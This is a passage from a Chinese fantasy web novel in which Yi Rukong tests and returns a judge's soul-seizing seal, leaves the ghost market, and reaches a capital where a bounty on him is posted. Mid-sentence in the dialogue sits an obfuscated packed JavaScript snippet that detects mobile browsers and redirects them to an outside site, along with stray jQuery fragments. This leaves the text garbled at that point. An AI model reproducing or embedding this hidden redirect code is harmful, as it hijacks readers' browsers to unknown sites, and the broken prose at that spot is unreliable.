判官扫一眼桌上的纸笔,看向亦如空,恨恨道:“有本事,告诉我你的姓名。” 亦如空似乎看穿他的意图:“让我猜一猜,夺魂玉玺,是不是只要敲在名册上,就能摄取那被写名之人魂魄?” 夺魂判官目光闪动。 “那我还真想见识见识。”亦如空笑,嘴角上扬的弧度并不明显,却无端让人觉得恣意晃眼。 他迈到桌边,提笔蘸墨,龙飞凤舞,在白纸上大剌剌写上自己的名字。 而后他抬手,将那纸丢给判官,倚坐在判官对面的官帽椅里,一仰下巴:“盖印吧。” 判官吹胡子瞪眼,实在是从未见过如此嚣张之人。 “这可是你自找的……”判官手腕翻转,虚无中幻化出一方幽绿发黑的玉质印玺,他右手握印,用力扣在纸上,一时间青黑灵光乍现,判官恶狠狠道,“死吧!” 夺魂判官已做好准备,准备亲眼见证眼前的佳人呜呼惨死,印玺落在纸上时,他心中甚至还涌起一丝遗憾。 然而印落之后,一眨眼,再眨眼,亦如空却仍在那里,高坐着,微笑着,毫发无损。 “假……假的,你写的是假名……”夺魂判官暗骂自己失了神智,竟被人用假名骗出了法宝。 亦如空摇头:“名字确是我的,倒是你这印,似乎是假的。” 他说着,笑意渐隐,眉心微褶,眸中涌起些许失望之色。 “我这印,轻易不用,它可拿人魂魄,绝对不假,除非,除非……你压根不是人!” 亦如空眼眸黑沉,不说话,只朝着判官伸出手掌。 判官想要收回玉玺,蛇妖眼疾手快,锁住他的灵台与咽喉,叫他呼吸渐紧,退缩不得,最后只能颤颤巍巍把印玺放到亦如空手心。 亦如空抓住那方巴掌大的印玺,垂眸端详。 此印灵玉所制,其中只有这判官的术法灵力,并无一丝应空法身所含的灵能,竟真的只是这魂修自己炼出的法器。 “是样了不得的法宝,”亦如空抬起手,对着昏昏的灯火打量那玉玺,“只是,还真不是我要寻的那个。” 48.抵达 “所、所以……”判官看着那俊逸又危险的轮廓,咽口唾沫,“玉玺,能还给我了吗?美……哦不,仙人?” “是我弄错了,”亦如空想了想,“按理说,是该还给你。” 夺魂判官喜色漫上眉梢一半,却又听见亦如空接着道:“但是,还你之后,你再用来奴役那些少年,为害一方,那该如何是好?” “冤枉!”夺魂判官哭丧着脸喊冤,“他们属实都是自愿,绝无奴役强迫一事。” 亦如空挥手,窗棂洞开,他将夺魂判官提到窗边,让他看下方街道夜市上的“行人”。 “这些,都是自愿?” 判官眼角一挤,久不被外力扰动的地方被灵力一激,长街上霎时冷风骤起,直吹得窗棂吱嘎作响。 檐角铜铃乱颤,沿街灯笼舞动,那些灯笼上画满了符咒,俱是引魂灯。 引魂灯摇晃,青砖缝隙渗出墨色雾气,繁华的街景之下,透出隐约的死气。 “那名册上的名字,可都是受害者?” 夺魂判官叹道:“真是误会,若你是讲道理的人,那不如听一听,本座那些名册,究竟是什么吧。” 亦如空松开他,灵力卷来案桌边散落的名册,递到夺魂判官眼前。 夺魂判官正一正头上的冠,拿起其中一本:“五洲历二百七十六年起,整整三年大旱,饥荒肆虐,瘟疫横行,饿死之人不计其数,这本册子里,便是那些举家尽殁、无人立碑者的姓名。” 他又拿起另一册:“洲历三百年,天降异象,有说是陨星坠地,有说是神陨降世,总之,那异象引得山崩海啸,造成死难无数,这些死者无入轮回,幽魂游荡世间,我收了部分魂魄,放在此间滋养,录了他们的姓名……” 这倒是全然出乎亦如空的意料。 “本座开辟此处,让这些孤魂有所依处,有朝一日,或许还能重入轮回,而他们的魂魄,又可滋养我的术法,这岂不是两厢情愿,两全其美的事情?!” 判官声音拔高,引得外面街上的“行人”驻足观望,判官对着窗下招招手,底下的人见了,有的对他躬身行礼,有的热情招呼,一张张脸庞生动活泛,全然看不出,这是死难的游魂。 判官继续道:“除了灾难中的死者,还有一些,是自行找上门来,大概对于有些人而言,比起清醒地活着,还不如浑浑噩噩,在我这鬼市里恍惚度日。” 亦如空俯瞰着长街上的众生,难免心念触动。柳玉京却啧声道:“色鬼的话你可别信,你听他说得冠冕堂皇,那外头那些呢,难道也是心甘情愿做他男宠的?” 夺魂判官慷慨陈词的气势稍弱,强词夺理道:“本座在此镇守百千魂魄,何等寂寞,还不能找点乐子么?谁说做大事的就要清心寡欲了!” 眼见这话一出,亦如空本来松动的面色又难看起来,判官连忙补充道:“而且,这些少年都是天生的残缺之人,有的生来短命,有的身患绝症,在我这里,能让他们的魂魄滋养完善,谋个健全的来世,这又伤害到谁了?” 见亦如空一时沉默不语,夺魂判官道:“我说的都是实话,实在不信,可以探我元神,一辩真伪。” 柳玉京满不在乎道:“还跟这家伙讲什么是非道理,辨来辨去也是麻烦,直接打死算了。” 蛇妖抬手,夺魂判官连忙喊道:“且慢!你们可知,我元神一灭,这里的无数魂魄,可都要同我一起消散,他们又有何过错?而且,离开此处的通道,只有我能开启,你们确定要留下陪我?” 这判官倒是狡猾,担心动之以情不成,又加上了威胁。 柳玉京道:“吓唬谁呢?我们要找到出口,无非多花些时间罢了。” “那时间可不会太短,”夺魂判官道,“大家无冤无仇,何必相互为难呢?若将玉玺归还,我马上开启通道,我们就此相安无事,互不打扰,如何?” 亦如空仍是看着窗外,沉默一阵,最后只道:“罢了,左右你的玉玺,于我并无用处。” 他抬手,将那幽绿的玉玺抛还给夺魂判官。 夺魂判官赶忙接住,一喜:“本座说到做到,你还我法宝,我放你们离去,不过——” 危机已除,此人竟又开始跃跃欲试,他抚触着玉玺上残留的温度,促狭道:“美人,你当真不愿一试那销魂蚀骨的滋味……” 被亦如空凌厉的目光一扫,夺魂判官连忙噤声,自己掌嘴一记,道:“怪我多嘴,我这就送仙人离开,只是,我这腿……” 亦如空动动手指,解了咒印。 柳玉京撇了撇嘴,将桌案上的图卷拿起来,顺手揣在怀中。 见亦如空看他,柳玉京理直气壮道:“不能白来一趟吧?法宝你不要,我总该有点旁的收获。” 夺魂判官对此没有意见,只恨不得两个瘟神赶紧离开:“送你了,我那柜子上还有另外半卷,都给你。” 判官开启通道,眼见两人离去后,总算松了一口气。 他揩一把额头的冷汗,捡起亦如空留名的纸张,默念纸上的名字,心中疑惑。 此人究竟是何存在? 正想着,外间门扉一响,是那不长眼的细高个守殿鬼,正探头探脑道:“师祖?判官大人?弟子送来的佳人,可还满意?” 竟然还敢来讨赏,夺魂判官闪现至门边,一巴掌甩过去,拍飞他头顶的帽子。 “死东西,不好好做你的守殿鬼,非要自作聪明,给我送来这么个硬茬,嫌你的师祖活得够久了?” 那守殿鬼吓得跪倒在地:“怪弟子草率,弟子知错!请师祖责罚!” 判官倒也懒得为难他,幽幽叹道:“罢了,有些世外仙葩,本就只能仰望,不可靠近,你说是不是?” 守殿鬼大喜,连忙叩头:“师祖说的对,师祖英明,师祖大义。” 夺魂判官回味片刻,收回飞走的心神,对那守殿鬼道:“对了,你可知,本座这里,曾有过一个鼻上有痣的少年?” 守殿鬼一愣:“师祖,那些少年,都是给您欣赏的,弟子哪敢细看。” “也是,”夺魂判官又问,“底下可有弟子以我名义,擅自出去捉人?” 守殿鬼忙道:“那绝对没有,师祖说过,我们虽然很像邪魔外道,但其实不是邪魔外道,师祖还说……” “得得,行了行了,回去接着守收魂殿吧。” “是……弟子告退。”守殿鬼也不敢再问赏赐的事,趁着师祖开恩,连忙跑路。 夺魂判官摸着胡须,琢磨来去,还是想不起亦如空口中的少年。欸,罢了,反正找麻烦的已经离去,还想这些做甚?于是全都甩在脑后,寻乐去了。 离开雾圩山的路上,柳玉京还是有些不满意:“你竟就这么放过他了。” “他说的或许是真的。” “那又如何?那家伙满嘴狂言,形貌猥琐,瞧着实在膈应,放过他,总觉得不爽。” 亦如空神色淡淡:“他手中没有我要的东西,何必耗费时间在此。” 柳玉京顿了顿,看他几眼:“那样的法宝,能得一样,已是天大的机缘,你竟然这般不知足……你究竟想做什么?” 亦如空并不回答,只道:“说起这个,我似乎想起,我还有一支笔,暂放在你那里。” 柳玉京一噎:“你死心吧,我将那支笔放在一隐秘之处炼化,你决计找不到,就算你用那些稀奇古怪的咒印威胁于我,我也不会告诉你。” 他胸有成竹,亦如空也并不着急:“如今你整条蛇都捏在我掌中,我又何必急于一时。” 柳玉京冷哼一声,沉默半晌,又主动开口搭话:“你想寻的那玉玺,我曾听说过,那宝物已销声匿迹多年,说不定早已不在此界之内,像你这样毫无头绪地瞎找,最后只能是白费力气,依我看,还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15833515|167565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不如顺手夺了那判官的法宝,虽然是个赝品,但名字既然差不多,功效总有相似之处。” 亦如空任由他喋喋不休,待他说完,才另起话头:“有件事,实在出乎我的意料。” 柳玉京一愣:“什么事?” 亦如空明亮的墨色眼睛看过来:“我没想到,你竟是条无毒蛇。” 柳玉京静止了。 亦如空继续道:“你咬那判官一口,竟如同挠痒一般,毫无效用。” 这话也不知触到了柳玉京哪片逆鳞,竟气得他不愿再同他说话。 亦如空倒是乐得清静,一路无话,悠悠慢赶,追上石老儿一行。 一行人或骑马或乘车,一路北上,中途再无插曲,顺利抵达神冲国境内,入境之后,前往都城的道路一片坦途。 神冲国的确物阜民丰,所过城镇已是规模庞大,抵达都城后,更是繁华景象扑面而来,八街九陌,行人不绝,飞甍夹道,朱楼连绵。 翘枝一入城中便花了眼,一时不知从何处看起。 何云迢连连感叹,一副重回故地的唏嘘模样。 繁华人气扑面而来,喧闹声无处不在,亦如空一路垂目观心,只拜托何云迢寻个清静些的落脚地。 然而,他却不知,比他更先抵达神冲都城的,竟是他的画像,加上一纸通缉。 恰逢他们初入都城之时,一张张告示榜正在各处张贴,那是奉神宗的诛杀令,往常只在宗内发布,难得昭告众人,一时间吸引许多行人驻足围观。 十字街口,新立起来告示榜前,一名奉神宗弟子肃立着,鹰隼般的目光在围观人群中扫视。 众人不敢靠得太近,远远围成一圈,指点议论着。 有个说书先生模样的人,倒是全然不惧,他一路摒开人群,挤到那告示旁边,把人群前方的空地当作说书场,对着那些不明就里的围观者口若悬河起来: “诸位可知,奉神宗近来出了件大事,有一护法执事,带着无上秘宝叛逃宗门,一路跑到了东淤,竟要投靠应空门门主答叵,宗王大怒,派人截杀,却因为他手上那件神器,追踪者死伤惨重,等后续人手抵达东淤之时,才知答叵已死,应空门覆灭,那法器也已易了主,不见踪影。” 说书先生指指告示上的画像:“据应空门人和长林派弟子所述,正是此人,一夜之间,灭杀应空门门主、长林派掌门、无忧宗宗主,还有其他门派数十名高手,搞得东海人仰马翻,应空门当年何其势大,与奉神宗争夺我神冲国护国大宗地位,最后不敌,退出中洲,据于东淤海上,却没想到,竟被一个无名后生一朝覆灭。” 说书先生扬声道:“这人手上有一件能够凌空杀人的法宝,形似金锥,锐利无双,告示上说了,若是找到此人,找到这件法宝,赏赐黄金五十万,想修行的,可加入奉神宗,直接成为内宗弟子,想做官领俸禄的,可以去奉神司领份差少钱多的公差,这可是一念之间,就能飞黄腾达的事!” 众人听到如此高额的奖赏,霎时议论纷纷。 有的说曾见过形似之人,有的叫喊,既然那人这般厉害,哪是我们一般人能抓住的,再说了,他手上还有那杀人法器。 说书先生打断道:“提供可靠线索给奉神宗,一样领赏。” 众人又喧哗讨论起来。 站在告示榜旁边奉神宗弟子开口补充道:“但是,若是为了领赏而编造假消息,后果,不用我多说。” 徐道尘立在人群之中,望着那幅画像,眯起了眼睛。 那个人,他曾见过的。 原来,忘尘椎竟在他手中?那为何大战赤虚之时,他不拿出那神器相助,而是召唤一只并不算服从他的蛇妖到场? 也是,或许他知道,一旦使出那法器,便会暴露身份,毕竟天下修士,知晓这宝物的,并不在少数。 徐道尘沉思片刻,转身离开了人群。